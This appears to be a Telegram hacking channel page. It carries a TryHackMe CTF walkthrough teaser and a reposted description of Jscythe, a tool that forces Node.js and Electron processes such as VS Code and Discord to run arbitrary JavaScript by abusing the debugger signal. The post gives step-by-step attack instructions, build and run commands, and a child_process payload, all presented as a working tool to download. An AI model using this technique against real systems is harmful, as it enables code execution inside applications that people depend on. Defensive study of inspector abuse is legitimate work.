Hacking Articles Tips Tricks Videos Tutorials
470 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
“Neighbour” CTF Walkthrough from TryHackMe

Hello!Continue reading on Medium »
Read more...
Kali Linux Tutorials
Jscythe : Force Any Node.Js/Electron/V8 Based Process To Execute Arbitrary Javascript Code

Jscythe abuses the node.js inspector mechanism in order to force any node.js/electron/v8 based process to execute arbitrary javascript code, even if their debugging capabilities are disabled.

Tested and working against Visual Studio Code, Discord, any Node.js application and more!

How?

1. Locate the target process.
2. Send SIGUSR1signal to the process, this will enable the debugger on a port (depending on the software, sometimes it’s random, sometimes it’s not).
3. Determine debugging port by diffing open ports before and after sending SIGUSR1.
4. Get the websocket debugging URL and session id from http://localhost:.
5. Send a Runtime.evaluaterequest with the provided code.
6. Profit.

Building
cargo build --release
Running

Target a specific process and execute a basic expression:
./target/debug/jscythe --pid 666 --code "5 - 3 + 2"
Execute code from a file:
./target/debug/jscythe --pid 666 --script example_script.js
The example_script.jscan require any node module and execute any code, like:
require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout
Search process by expression:
./target/debug/jscythe --search extensionHost --script example_script.js
Other Options

Run jscythe --helpfor the complete list of options.
Click Here To Download

___________________________
@hacking_Attack
@Hacking_Video